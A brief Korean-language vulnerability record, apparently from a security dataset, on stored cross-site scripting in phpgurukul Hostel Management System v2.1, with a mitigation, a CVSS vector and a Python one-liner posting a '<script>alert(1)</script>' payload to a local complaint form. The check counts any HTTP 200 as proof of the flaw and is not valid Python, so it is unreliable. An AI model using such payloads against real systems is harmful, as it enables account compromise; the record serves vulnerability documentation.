phpgurukul Hostel Management System v2.1
사용자 제공 필드에 악의적인 코드를 삽입하여 관리자가 해당 필드를 열람할 때 코드가 실행되도록 하는 방법
사용자 제공 데이터의 입력 검증 및 출력 에스케이핑을 강화하고, 최신 보안 패치를 적용하여 취약점을 해결합니다.
로컬 환경에서 phpgurukul Hostel Management System을 설치하고, Python을 사용하여 크로스 사이트 스크립팅 취약점을 검증하는 코드입니다. 코드를 실행하기 전에 Python과 requests 라이브러리가 설치되어 있어야 하며, 로컬 환경에서 시스템을 실행 중인 상태에서 코드를 실행해야 합니다.
python -c "import requests; url = 'http://localhost/register-complaint.php'; payload = {'complaint': '<script>alert(1)</script>'}; response = requests.post(url, data=payload); if response.status_code == 200: print('{{"result": "취약", "reason": "크로스 사이트 스크립팅 취약점 존재"}}'); else: print('{{"result": "양호", "reason": "크로스 사이트 스크립팅 취약점 없음"}}')"
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N